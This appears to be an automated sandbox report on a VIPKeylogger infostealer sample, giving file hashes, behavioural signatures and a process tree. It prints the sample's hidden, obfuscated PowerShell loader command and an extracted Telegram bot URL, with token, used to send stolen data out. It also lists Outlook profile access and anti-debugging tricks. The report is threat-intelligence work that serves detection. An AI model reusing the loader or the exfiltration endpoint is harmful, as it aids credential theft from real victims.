Analysis
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max time kernel
141s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
25-11-2024 02:57
Static task
static1
Behavioral task
behavioral1
Sample
a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe
Resource
win10v2004-20241007-en
General
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Target
a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe
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Size
844KB
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MD5
66ecc5207b13c8ab6e2289aae6fddde1
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SHA1
9f6a9dec6a08fafd49908831ea27b0410b6bd934
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SHA256
a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f
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SHA512
80fded17f0ca1cf6c61600dadeaaf171de83de4276b11aefeda43f497a39c0f029af9284d604ae5d892cfb72eae6ad352ab4b07a40ac2eb7fc0270286974e6ae
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SSDEEP
12288:8/AKvOjFE2PvzaAsXAxkdnJoAjXbQYi2yBZFVkh7aZMljR0lE/V5Je0sZptLOije:DoOGiwwxkBJoSr+zxU77jH5toptKigDf
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot8065526741:AAEj68BwW3BsUStAxrPkDSB2kLxwQ3yik84/sendMessage?chat_id=6897585916
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
msiexec.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
Processes:
msiexec.exeflow pid Process 24 4556 msiexec.exe 28 4556 msiexec.exe 38 4556 msiexec.exe 40 4556 msiexec.exe 42 4556 msiexec.exe 46 4556 msiexec.exe 48 4556 msiexec.exe 52 4556 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 45 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
msiexec.exepid Process 4556 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exemsiexec.exepid Process 1560 powershell.exe 4556 msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exepowershell.exemsiexec.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exemsiexec.exepid Process 1560 powershell.exe 1560 powershell.exe 1560 powershell.exe 1560 powershell.exe 1560 powershell.exe 1560 powershell.exe 1560 powershell.exe 4556 msiexec.exe 4556 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid Process 1560 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
powershell.exemsiexec.exedescription pid Process Token: SeDebugPrivilege 1560 powershell.exe Token: SeIncreaseQuotaPrivilege 1560 powershell.exe Token: SeSecurityPrivilege 1560 powershell.exe Token: SeTakeOwnershipPrivilege 1560 powershell.exe Token: SeLoadDriverPrivilege 1560 powershell.exe Token: SeSystemProfilePrivilege 1560 powershell.exe Token: SeSystemtimePrivilege 1560 powershell.exe Token: SeProfSingleProcessPrivilege 1560 powershell.exe Token: SeIncBasePriorityPrivilege 1560 powershell.exe Token: SeCreatePagefilePrivilege 1560 powershell.exe Token: SeBackupPrivilege 1560 powershell.exe Token: SeRestorePrivilege 1560 powershell.exe Token: SeShutdownPrivilege 1560 powershell.exe Token: SeDebugPrivilege 1560 powershell.exe Token: SeSystemEnvironmentPrivilege 1560 powershell.exe Token: SeRemoteShutdownPrivilege 1560 powershell.exe Token: SeUndockPrivilege 1560 powershell.exe Token: SeManageVolumePrivilege 1560 powershell.exe Token: 33 1560 powershell.exe Token: 34 1560 powershell.exe Token: 35 1560 powershell.exe Token: 36 1560 powershell.exe Token: SeDebugPrivilege 4556 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exepowershell.exedescription pid Process procid_target PID 2388 wrote to memory of 1560 2388 a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe 82 PID 2388 wrote to memory of 1560 2388 a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe 82 PID 2388 wrote to memory of 1560 2388 a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe 82 PID 1560 wrote to memory of 4556 1560 powershell.exe 92 PID 1560 wrote to memory of 4556 1560 powershell.exe 92 PID 1560 wrote to memory of 4556 1560 powershell.exe 92 PID 1560 wrote to memory of 4556 1560 powershell.exe 92 -
outlook_office_path 1 IoCs
Processes:
msiexec.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
Processes:
msiexec.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe"C:\Users\Admin\AppData\Local\Temp\a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2388 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Spaanens=gc -raw 'C:\Users\Admin\AppData\Local\faatallige\alternativet.Jug';$Prebrachial=$Spaanens.SubString(72910,3);.$Prebrachial($Spaanens) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4556
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
347KB
MD54686941746f31ddfb36d1ebbb44e7ebf
SHA1cd3fd8c8ab8e38cc016991132d62b1bdc1fa687b
SHA25618692d5a318572028fa704053cb44bb255d351d61942a5fc0447d2ee1e37e7fd
SHA5127d9d7c43f05637bfbd783de0471e1a2f5a0832faca26f0f0f8a54bc80c1407ea88bf08a579ec18d6548ff937678a51ed852777d38223bd8c3f7881f424751fb1
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Filesize
71KB
MD5d2e21a96d0e3214bdc85bf4ed9567574
SHA1e27596a46448f36aebf57d5a0e7e4ed5711be460
SHA2560f111bf0c2084dd34a25590ddf1254aae69060015f94addf112937e1d6807453
SHA512cc27da978ad0659de87a3cddc5c8e27bda7de9e3c17565339061870db4cd625586aefbd943ac443fc84165a501cf27958c0d92db92aa799e12bf1a29563bd00d